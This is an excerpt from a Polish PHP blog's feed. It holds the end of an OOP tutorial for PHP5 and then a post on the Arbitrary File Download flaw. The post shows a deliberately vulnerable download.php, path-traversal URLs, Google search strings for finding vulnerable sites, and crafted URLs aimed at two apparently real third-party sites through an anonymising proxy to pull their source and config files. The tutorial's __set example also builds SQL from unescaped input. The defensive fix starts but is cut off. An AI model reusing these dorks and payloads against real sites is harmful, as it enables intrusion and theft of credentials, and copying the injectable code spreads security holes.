<p>Jak można zauważyć tworzenie metod wygląda praktycznie jak tworzenie zwykłych funkcji (wraz z możliwością sparametryzowania metod), z tymże przed <em>function</em> dodajemy typ metody. Do metod wewnątrz klasy lub z klas potomnych odnosimy się z specjalnej właściwości wskazującej zawsze na obiekt nazwanej <strong>$this</strong>.</p>
<pre class="brush: php; title: ;">&lt;?php
class resultClass {
	public function publicFunction($data) // metoda publiczna
	{
		print 'Parametr: ' . $data;
	}

	private function privateFunction($data) // metoda prywatna dostępna tylko z tej klasy
	{
		print 'Parametr: ' . $data;
	}

	protected function protectedFunction($data) // metoda chroniona dostępna z tej klasy i klas dziedziczących
	{
		print 'Parametr: ' . $data;
	}

	final public function finalFunction($data) // publiczna metoda finalna (może być też protected) niemogąca być przedefiniowana w klasach potomnych
	{
		print 'Parametr: ' . $data;
	}

	public function tryFromInternalPartOfClass($data) // klasa publiczna obrazująca wywołanie różnych typów metod z innej metody tej klasy
	{
		$this-&gt;publicFunction($data); // zadziała
		$this-&gt;privateFunction($data); // zadziała
		$this-&gt;protectedFunction($data); // zadziała
		$this-&gt;finalFunction($data); // zadziała
	}
}

class callClass extends resultClass {
	// utworzone w celu sprawdzenia wyniku odwolania sie do metod roznego typu w klasie bazowej
	public function callPrivateFunction($data)
	{
		$this-&gt;privateFunction($data);
	}

	public function callPublicFunction($data)
	{
		$this-&gt;publicFunction($data);
	}

	public function callProtectedFunction($data)
	{
		$this-&gt;protectedFunction($data);
	}

	public function finalFunction($data) // proba przedefiniowania metody finalnej klasy bazowej
	{
		$this-&gt;finalFunction($data);
	}
}

$tekst	= 'argv'; // tekst do wypisania

$obj	= new callClass(); // obiekt klasy potomnej
$obj-&gt;callPrivateFunction($tekst); // zwroci blad, albo zatrzyma skrypt z powodu proby wywolania metody prywatnej z klasy dziedziczonej

$obj-&gt;callPublicFunction($tekst); // zwroci Parametr: argv
$obj-&gt;callProtectedFunction($tekst); // zwroci Parametr: argv
$obj-&gt;finalFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu z powodu proby nadpisania metody finalnej z klasy bazowej
unset($obj);

$obj 	= new resultClass(); // obiekt wczesniejszej klasy bazowej
$obj-&gt;publicFunction($tekst); // zwroci Parametr: argv
$obj-&gt;finalFunction($tekst); // zwroci Parametr: argv, poniewaz pomimo ze metoda jest finalna to jest takze typu publicznego
$obj-&gt;privateFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu
$obj-&gt;protectedFunction($tekst); // zwroci blad, albo zatrzyma dzialanie skryptu poniewaz z zewnatrz klasy bazowej probujemy wywolac metode chroniona

$obj-&gt;tryFromInternalPartOfClass($tekst); // odwola sie prawidlowo do kazdej z metod wewnatrz tej wywolywanej
?&gt;</pre>
<p>Adekwatnie sprawa miewa się z zmiennymi klasy. Wystarczy przed ich nazwą dodać jeden z pierwszych trzech typów.</p>
<pre class="brush: php; title: ;">&lt;?php
class data {
	public 		$data; // własciwosc dostepna publicznie
	private 	$dzien; // własciwosc dostepna tylko w klasie data
	protected 	$czas; // własciwosc dostepna w klasie data i czas

	public function pokazDate()
	{
		print $this-&gt;data;
	}
}

class czas extends data {
	public function pokazCzas()
	{
		print $this-&gt;czas[0];
	}

	public function pokazDzien()
	{
		print $this-&gt;dzien;
	}

	public function ustawCzas($czas)
	{
		if ( !isset($this-&gt;czas) )
		{
			$this-&gt;czas 		= $czas;
		}
	}
}

$obj			= new czas(); // obiekt klasy potomnej

$obj-&gt;data		= '10.10.2000'; // zadziala, poniewaz zmienna obiektu klasy jest publiczna
$obj-&gt;czas		= array('10', '10', '10'); // nie zadziala, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu chronionego
$obj-&gt;dzien		= 'niedziela'; // nie zadziała, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu prywatnego

$obj-&gt;pokazDate(); // zostanie wyswietlona data ustawiona w $obj-&gt;data
$obj-&gt;ustawCzas(array('10', '10', '10')); // ustawi czas w postaci tablicy przekazanej w parametrze ponieważ metoda w klasie dziedziczącej będzie przypisywać tablicę do właściwości chronionej klasy bazowej
$obj-&gt;pokazCzas(); // zostanie wyswietlona godzina = 10 (pierwszy element tablicy parametru) o ile zostanie wcześniej wywołana funkcja klasy w postaci $obj-&gt;ustawCzas(param)
$obj-&gt;pokazDzien(); // nie zostanie wyswietlone nic, gdyz do właściwości $this-&gt;dzien nie przekazano nic z racji niemożności zrobienia tego z zewnątrz klasy
?&gt;</pre>
<p>Warto byłoby dodać, że zerować, bądź po prostu narzucać wartość właściwością można z trzech poziomów. Z miejsca deklaracji, z konstruktora (o którym poniżej), a także z wnętrza uprawnionych do tego metod.</p>
<p>No i na koniec przykład działania wspomnianego przeze mnie użycia <strong>final</strong> z klasą:</p>
<pre class="brush: php; title: ;">&lt;?php
final class klasaBazowa { // klasa finalna
	public function test() // uzywanie w takim przypadku final przed typem metody jest niepotrzebne
	{
		print 'wywolano -&gt; klasaBazowa::test';
	}
}

class klasaPotomna extends klasaBazowa {}; // zakonczy sie bledem krytycznym poniewaz nie mozna dziedziczyc po klasie finalnej
?&gt;</pre>
<ul>
<li><strong>Lunch z metodami, właściwościami statycznymi i stałymi&#8230;</strong></li>
</ul>
<p>O definiowaniu stałych w zakresie ogólnym PHP już <a href="http://m1chu.eu/webmastering/jak-zdefiniowac-i-operowac-na-stalych-w-php"  title="Operowanie na stałych"><strong>pisałem</strong></a>. Przybliżę jednak samą kwestię ich użycia w klasach, gdyż tam jest to niewystarczająco poruszone.</p>
<p>Stałe klasy tworzymy poprzez użycie zwrotu <strong>const</strong>. Stałe mogą być deklarowane w klasach (w tym w finalnych) i interfejsach. Nie mogą być przedefiniowane. Ich wartość musi być stałym wyrażeniem (np. ciągiem znaków, liczbą, itp.). Nie może być za to wartością zmiennej, czy rezultatem operacji matematycznej. Z reguły dla zachowania dobrych nawyków przyjmuje się, że nazwę stałej zapisuje się drukowanymi znakami.</p>
<pre class="brush: php; title: ;">const NAZWA_STALEJ = 'wartosc';</pre>
<p>Do stałej domyślnie w klasie odnosimy się poprzez słowo <strong>self</strong> i operator zasięgu <strong>::</strong>. Pod względem użytkowania sprawa miewa się adekwatnie jak w przypadku opisywanego wyżej <strong>parent::</strong>. Funkcjonalnie <strong>self::</strong> daje dostęp do metod i pól statycznych w danej klasie. Takowym, uogólniając jest stała. W klasach potomnych odniesienie do stałej w klasie bazowej odbywa się tak samo, ale za pomocą wspomnianego już <strong>parent::</strong>.</p>
<p>Z poza klasy mając wersję PHP niższą niż <strong>5.3</strong> możemy operować na tego typu zasobach poprzez operator statyczności lub poprzez wskaźnik obiektu na opcjonalną metodę zwracającą wartość stałej. W wersji w.w. można odwołać się bezpośrednio poprzez obiekt klasy bądź statycznie poprzez przypisaną do zmiennej nazwę klasy.</p>
<pre class="brush: php; title: ;">&lt;?php
final class klasaFinalna {
	const FIN = 'final done';

	public function pobierzStala()
	{
		print self::FIN;
	}
}

class klasaBazowa {
	const PRE = 'normal done';
	const DEF = 'normal done';

	public function pobierzStalaBazowa()
	{
		return self::DEF;
	}
}

class klasaPochodna extends klasaBazowa {
	const PRE = 'freakin failed';

	public function pobierzStalaZKlasyBazowej()
	{
		return parent::DEF;
	}
}

$obj 			= new klasaPochodna();
$obj_f			= new klasaFinalna();

print $obj-&gt;pobierzStalaBazowa(); // zwroci normal done
$obj_f-&gt;pobierzStala(); // zwroci final done poniewaz zwyczajnie w klasie finalnej tez mozna w skrypcie uzywac stalych
print klasaPochodna::PRE; // wyświetli zawartość stałej z klasy potomnej (jeżeli jej nadrzędnym element byłby interfejs to akcja ta zakończyłaby się błędem lub zatrzymaniem skryptu)
print $obj-&gt;pobierzStalaZKlasyBazowej(); // zwroci normal done jako przyklad uzycia stalej z klasy bazowej w klasie dziedziczacej
?&gt;</pre>
<p>Dlaczego powinno używać się stałych klasowych, a nie zwykłych definiowanych poprzez funkcję <strong>define(params);</strong>? Z dwóch powodów. Estetycznego &#8211; systematyzują kod. I co ważniejsze &#8211; optymalnego, gdyż działają szybciej niż te pierwotne.</p>
<p>Co do statyczności w PHP5 jest ona przestrzegana bardziej restrykcyjnie. Nie można już wywoływać każdej metody, czy właściwości statycznie. Trzeba przed nazwą funkcji klasy i <strong>function</strong> dodać <strong>static</strong>, podobnie jest w wypadku zmiennych z tymże przed ich nazwą. W metodach statycznych można używać tylko statycznych pól, a przy odwoływaniu się do zasobów statycznych nie należy robić tego w postaci notacji obiektowej. Elementy tego typu podlegają także zasadą kapsułkowania. Pola za to nie wymagają tworzenia instancji obiektu. Wystarczy posłużyć się nazwą klasy w skrypcie, a jak już wspomniałem w bazowej i dziedziczonych klasach odpowiednio są to <strong>self::</strong> i <strong>parent::</strong>.</p>
<pre class="brush: php; title: ;">&lt;?php
class klasa {
	public static $czas;
	private static $miasto;

	public static function zaladujDane()
	{
		self::$czas			= date('H:i', time());
		return self::$czas;
	}

	public function zaladujMiasto($miasto)
	{
		self::$miasto		= $miasto;
		return self::$miasto;
	}
}

print 'Godzina: ' . klasa::zaladujDane(); // zwroci Godzina: GG:MM (godzine wraz z minutami)

$instancja		= new klasa();
print 'Miasto: ' . $instancja-&gt;zaladujMiasto('Londyn'); // zwroci Miasto: Londyn, gdyz dostep do wlasciowsci statycznej odbywa sie w metodzie z wnetrza klasy
?&gt;</pre>
<p>Reasumując podstawową zaletą jest fakt, że nie potrzeba tworzyć instancji w celu skorzystania z statycznych zasobów (elementy w stylu <em>$instancja-></em>, czy <em>$this-></em> nie zadziałają). Przydaję się to w wielu różnych, bardziej zaawansowanych zastosowaniach, np. przy tworzeniu <strong>singletonu</strong>, o czym w następnej części kursu.</p>
<ul>
<li><strong>Co dziś dobrego na obiad? Konstruktory i destruktory&#8230;</strong></li>
</ul>
<p>Zasada działania konstruktora i destruktora klasy jest bardzo prosta. Są to dwie wbudowane w PHP5 metody wywoływane automatycznie, pierwsza po utworzeniu obiektu, a druga po jego zniszczeniu (po załadowaniu strony bądź poprzez użycie <strong>unset($var);</strong>). Co za tym idzie żadna z nich nie jest wywoływana przy użyciu statycznego odwołania i bez wykreowania instancji obiektu.</p>
<p>Konstruktor tworzymy poprzez nadanie metodzie nazwy <strong>__construct(params)</strong>, a destruktor <strong>__destruct()</strong>. Możemy, lecz w tym wypadku nie jesteśmy do tego koniecznie zobligowani nadać tym metodą typ (np. publiczny).</p>
<p>Do czego mogą się przydać te dwie funkcje? Wszystko zależy od potrzeb, ale mogą np. do zerowania pól, otwierania, zamykania różnego rodzaju połączeń, czy tworzenia lub niszczenia innych obiektów.</p>
<pre class="brush: php; title: ;">&lt;?php
final class klasa {
	private static $bin;

	public function __construct($bin)
	{
		self::$bin			= (int)$bin; // nadanie domyslnych wartosci przy utworzeniu obiektu
	}

	public function __destruct()
	{
		self::$bin			= 0;
	}
}

$instancja		= new klasa(1); // wywolanie __construct i wykonanie jej zawartosci
// w tym miejscu (na koncu skryptu) automatycznie wywolywane jest __destruct
?&gt;</pre>
<ul>
<li><strong>Ciąg dalszy metod magicznych na kolacje&#8230;</strong></li>
</ul>
<p>Jest pewien zbiór metod wbudowanych w OOP piątej wersji PHP, w tym <strong>__construct()</strong> i <strong>__destruct()</strong>, które są predefiniowane do specyficznego użycia i nie można ich nazewnictwa powielać w klasach (dokumentacja zaleca także, aby przy tworzeniu metod nie rozpoczynać ich nazwy od <strong>__</strong>, gdyż w przyszłości może pojawić się więcej opisywanych właśnie zasobów rozpoczynających się od takiego ciągu).</p>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3105/2860061960_291b4c4f46_o.png" alt="Metody magiczne - spis" /></p>
<pre class="brush: php; title: ;">&lt;?php
final class magiczneMetody {
	private 	$user_id;
	private 	$fn;
	private 	$mode;
	private 	$handle;
	public 		$temp1;
	public 		$temp2;

	public function __construct($filename, $mode)
	{
		$this-&gt;user_id 		= array(
			'name'		=&gt; 'vivee'
			);

		$this-&gt;fn 			= $filename;
    	$this-&gt;mode 		= $mode;
    	$this-&gt;handle 		= fopen($this-&gt;fn, $this-&gt;mode);
	}

	public function __destruct()
	{
    	fclose($this-&gt;handle);
    }

	public function __sleep()
	{
		$this-&gt;user_id['name']	= 'm1chu';
		return array('user_id'); // zwracamy tablice zmiennych do ponownego zaladowania po deserializacji
	}

	public function __wakeup()
	{
		$this-&gt;user_id['stat']	= 'working...';
	}

	public function __call($name, $params)
	{
		print 'Wywołano nieistniejącą metodę ' . $name . ' o parametrach: ';
		if ( $params[0] != '' )
		{
			$counted_params		= count($params);
			for ( $i = 0; $i &lt; $counted_params; ++$i )
			{
				print ( $i &gt; 0 ? ', ' . $params[$i] : $params[$i] );
			}
		}
		else {
			print 'brak';
		}
	}

	public function __clone()
	{
		$this-&gt;handle 		= fopen($this-&gt;fn, $this-&gt;mode);
	}

	public function __get($pole)
	{
		print 'Wywołano nieistniejące pole: ' . $pole;
	}

	public function __set($name, $value)
	{
		mysql_query('INSERT INTO logs (log_name, log_val) VALUES(\'' . $name . '\', \'' . $value . '\')');
		print 'Próbowano przypisać do nieistniejącej właściwości ' . $name . ' wartość ' . $value;
	}

	public function __isset($var)
	{
		print 'Zmienna ' . $var . ' nie została ustawiona';
	}

	public function __toString()
	{
		return 'Nie ma dostepu do obiektu :D';
	}

	public static function __set_state($array)
    {
    	$temp_obj			= new magiczneMetody();
    	$temp_obj-&gt;temp1	= $array['temp1'];
    	$temp_obj-&gt;temp2	= $array['temp2'];
    	return $temp_obj;
    }
}

function __autoload($class)
{
	require './klasa.php';
}

$obiekt		= new magiczneMetody('file.txt', 'r+');

// zasada dzialania __sleep() i __wakeup()
print_r($obiekt); // zwroci: magiczneMetody Object ( [user_id:private] =&gt; Array ( [name] =&gt; vivee ) )
$serialized 		= serialize($obiekt); // wywolanie przed serializacja metody magicznej __sleep()
print_r(unserialize($serialized)); // zwroci: magiczneMetody Object ( [user_id:private] =&gt; Array ( [name] =&gt; m1chu [stat] =&gt; working... ) ) 

// zasada dzialania __call()
$obiekt-&gt;bezParametru(); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę bezParametru o parametrach: brak
$obiekt-&gt;zParametrami(1, true, 'string'); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę zParametrami o parametrach: 1, 1, string

// zasada dzialania __clone()
$clone			= clone $obiekt; // sklonowanie obiektu wraz z wywolaniem nowego strumienia do zasobu

// zasada dzialania __get()
print $obiekt-&gt;nieistniejacePole; // nie istnieje taka własciwosc w klasie, zostanie wywolana metoda __get(param)

// zasada dzialania __set()
// polaczenie z baza danych (dla przykladu MySQL)
$obiekt-&gt;username	= 'vivee'; // nie istnieje taka wlasciowsc w klasie, a poniewaz staramy sie do niej cos przypisac to zostanie wywolana metoda __set(params)
// koniec polaczenia z baza danych

// zasada dzialania __isset()
isset($obiekt-&gt;username); // zwroci Zmienna username nie została ustawiona

// zasada dzialania __toString()
print $obiekt; // zrzutowanie na ciag znakow obiektu wiec zostanie wywolane __toString()

// zasada dzialania __set_state()
$obiekt-&gt;temp1		= 'test';
$obiekt-&gt;temp2		= 'test drugi';
$obiekt2 = var_export($obiekt, true);
var_dump($obiekt2); // wyswietli string(206) &quot;magiczneMetody::__set_state(array( 'user_id' =&gt; array ( 'name' =&gt; 'vivee', ), 'fn' =&gt; 'file.txt', 'mode' =&gt; 'r+', 'handle' =&gt; false, 'temp1' =&gt; 'test', 'temp2' =&gt; 'test drugi', ))&quot; 

// zasada dzialania funkcji __autoload()
$nieistniejaca_klasa 	= new jakasKlasa(); // nastepuje proba stworzenia instancji niedostepnej klasy - PHP poprzez __autoload() postara sie zaincludowac plik z klasa i ponownie utworzyc obiekt
$nieistniejaca_klasa-&gt;istniejacaMetoda(); // jesli uda sie utworzyc obiekt zostanie wywolana nastepujaca metoda
?&gt;</pre>
<ul>
<li><strong>Do poduszki &#8211; metodyka postępowania wstępnego&#8230;</strong></li>
</ul>
<p>Dziwnie to wygląda, ale na koniec wypadałoby napisać kilka zdań o tym jak w ogóle podejść do programowania obiektowego. Bo pisanie klas to nie tylko bezmyślne trzepanie kodu w postaci metod tak, żeby później można to było z marszu i masowo użyć poprzez instancję obiektu klasy.</p>
<p>Jeśli pracujesz nad dużym projektem, to prawdopodobnie wiesz co robić. Dokumentacja i od cholery konstruktywnych komentarzy w kodzie. Pomimo, że OOP w przypadku podziału pracy na kilka osób ma na celu ułatwienie pracy w taki sposób, aby nie musiało się przeglądać całego kodu napisanego przez współtowarzysza a jedynie skorzystać z stworzonych przez niego metod i pól to niekiedy nie można zrobić czegoś inaczej niż modyfikując kod współpracownika.</p>
<p>W mniejszych projektach, szczególnie tych gdzie programuje tylko jedna osoba jestem za tym, żeby nie marnować niepotrzebnie kartek papieru i próbować tworzyć układając plan w głowie. Wystarczy przecież logicznie myśleć. Wiem, że dla niektórych wydaje się to abstrakcyjne. Dla mnie też było, gdy zaczynałem. Musicie po prostu napisać kilka skryptów, kilka tysięcy linijek kodu i zrozumiecie o co chodzi. Podstawą jest wyrobienie sobie swojego stylu pisania na podstawie aktualnych dogmatów tworzenia kodu. Pamiętajcie, że zarówno w obiektowym programowaniu w PHP, jak i zresztą w każdej dziedzinie życia sucha i niekiedy bezsensowna teoria <strong>nigdy</strong> nie nauczy Was tyle co własna praktyka. Może jedynie być informacyjnym preludium do Waszej dalszej, indywidualnej nauki, czy pracy&#8230;</p>
<p>Mam nadzieję, że wybaczycie mi trochę powtórzeń (i zarazem wszelkie pomyłki), niestety w większości były niezbędne do opisu poruszanej problematyki. Niedługo kolejna część o programowaniu zorientowanym obiektowo.</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/09/15/wstep-do-programowania-zorientowanego-obiektowo-w-php5/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 1: luka Arbitrary File Download (AFD)</title>
		<link>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/</link>
		<comments>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 23:05:50 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[afd]]></category>
		<category><![CDATA[arbitrary file download]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[luka]]></category>
		<category><![CDATA[zabezpieczenia]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=53</guid>
		<description><![CDATA[Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu Arbitrary File Download (szczerze większej publikacji o tym nie znalazłem) &#8211; z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3070/2954723512_15f53621b2_o.png" alt="Luka AFD" /></p>
<p>Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu <strong>Arbitrary File Download</strong> (szczerze większej publikacji o tym nie znalazłem) &#8211; z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia dowolnego pliku na serwerze na którym wykonywany jest odpowiedni plik php.</p>
<p><span id="more-53"></span><br />
Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu <strong>&#8222;Pobieranie dowolnego pliku&#8221;</strong>. Stąd moje krótkie tłumaczenie w powyższym paragrafie.</p>
<p>Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.</p>
<p>Pokażę prosty przykład pliku (nazwijmy go <strong>download.php</strong>) który jest podatny na tego typu atak:</p>
<pre class="brush: php; title: ;">&lt;?php

if ( isset($_GET['file']) )
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($_GET['file']));
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename=' . basename($_GET['file'])); // nagłówek ustawiający zawartość jako załącznik

	readfile($_GET['file']); // ściągnięcie pliku
}

?&gt;</pre>
<p>I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do&#8230; pobierania pozostałych plików PHP. Co najważniejsze &#8211; <strong>nieprzeparsowanych</strong>! <strong>Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze</strong>. Jedyne co nas w tym wypadku ogranicza to funkcja <strong>readfile</strong> która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.</p>
<p>Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:</p>
<pre class="brush: plain; title: ;">www.strona_internetowa.pl/catalog/download.php?file=specyfikacja.pdf</pre>
<p>Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu <strong>specyfikacja.pdf</strong> na inny plik. Standardowo mógłby być to <strong>index.php</strong>, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co <strong>download.php</strong>, czy <strong>specyfikacja.pdf</strong>. </p>
<p>W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:</p>
<pre class="brush: plain; title: ;">www.strona_internetowa.pl/catalog/download.php?file=index.php // plik znajdowałby się wtedy pod /catalog/index.php
www.strona_internetowa.pl/catalog/download.php?file=../index.php // plik znajdowałby się wtedy bezpośrednio w strona_internetowa.pl/index.php</pre>
<p>W drugim punkcie sprawa wygląda tak, że plik <strong>specyfikacja.pdf</strong> nie musi się znajdować w tym samym katalogu co <strong>download.php</strong> <em>pomimo</em>, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z <strong>readfile</strong> (a także linię odpowiedzialną za pobieranie wielkości pliku) na:</p>
<pre class="brush: php; title: ;">&lt;?php
[...]
	header('Content-Length: ' . filesize('./podkatalog/kolejny/' . $_GET['file']));
[...]
    readfile('./podkatalog/kolejny/' . $_GET['file']); // ściągnięcie pliku

?&gt;</pre>
<p>W takim wypadku jego pliki PDF są po prostu ściągane z:</p>
<pre class="brush: plain; title: ;">www.strona_internetowa.pl/catalog/podkatalog/kolejny/</pre>
<p>I tu rodzi się kolejne rozwiązanie &#8211; używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć <strong>index.php</strong> z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:</p>
<pre class="brush: plain; title: ;">www.strona_internetowa.pl/catalog/download.php?file=../../../index.php</pre>
<p>Spytacie może:</p>
<blockquote><p>W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?</p></blockquote>
<p>Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego <strong>/etc/passwd</strong>). Innym sposobem jest użycie jakiegoś downloadera plików w stylu <em>wget</em>, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.</p>
<p style="text-align: center;"><a href="http://farm4.static.flickr.com/3065/2846837230_1f619ac3df_o.png"  title="Przykład działania AFD" onclick="this.target='_blank';"><img src="http://farm4.static.flickr.com/3065/2846837230_890dce249f.jpg" alt="Przykład działania AFD" /></a></p>
<p>Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem <strong>pięć</strong> stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.</p>
<dl>
<dt>
<ul>
<li><strong>1.</strong> Przeszukujemy Google&#8230;</li>
</ul>
</dt>
<dd>
<p>Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:</p>
<pre class="brush: plain; title: ;">inurl:.eu (getfile.php OR get.php OR file.php OR download.php)
inurl:home.pl (getfile.php OR get.php OR file.php OR download.php)</pre>
<p>Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie <strong>.eu</strong> (europejskiej) lub <strong>home.pl</strong> z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.</dd>
<dt>
<ul>
<li><strong>2.</strong> Znalezienie celu&#8230;</li>
</ul>
</dt>
<dd>Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.</p>
<pre class="brush: plain; title: ;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=./issues/2007-12/MohrContiniUK.pdf

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=AGP_notka_prasowa.doc</pre>
</dd>
<dt>
<ul>
<li><strong>3.</strong> Spreparowanie parametru&#8230;</li>
</ul>
</dt>
<dd>Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu <strong>index.php</strong>. Co się rzuca od razu w oczy to fakt, że w drugim przypadku <em>prawdopodobnie</em> plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.</p>
<pre class="brush: plain; title: ;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=index.php

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../index.php</pre>
</dd>
<dt>
<ul>
<li><strong>4.</strong> Co dalej?</li>
</ul>
</dt>
<dd>No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić <strong><em>&#8222;OWNED&#8221;</em></strong> (o <a href="http://utnij.eu/phising/"  title="Phising Wiki" onclick="this.target='_blank';">phishingowym</a> wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.</p>
<pre class="brush: plain; title: ;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../skins/default.skin.php // inny przykład linku wyciągniętego z źródła index.php
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=download.php // ściągnięcie pliku download.php</pre>
</dd>
</dl>
<p>Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.</p>
<blockquote><p>Jak się do ku**y zabezpieczyć przed tym?!</p></blockquote>
<p>Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3139/2846061969_2c415035c7_o.png"  title="Przykład działania AFD" class="lightbox"><img src="http://farm4.static.flickr.com/3139/2846061969_d1ebeb2a33.jpg" alt="Przykład działania AFD" /></a></p>
<p>I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.</p>
<ul>
<li><strong>Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.</strong></li>
</ul>
<p>Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy <strong>download</strong>).</p>
<pre class="brush: sql; title: ;">CREATE TABLE files ( file_id SMALLINT UNSIGNED PRIMARY KEY AUTO_INCREMENT, file_name VARCHAR(255) NOT NULL ) COMMENT = 'file_id; 0-65535; klucz glowny : file_name; 0-255; nie pusty', MAX_ROWS = 65535;</pre>
<p>Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):</p>
<pre class="brush: php; title: ;">&lt;?php
require_once './config.php'; // plik konfiguracyjny z tablica danych do bazy danych
require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

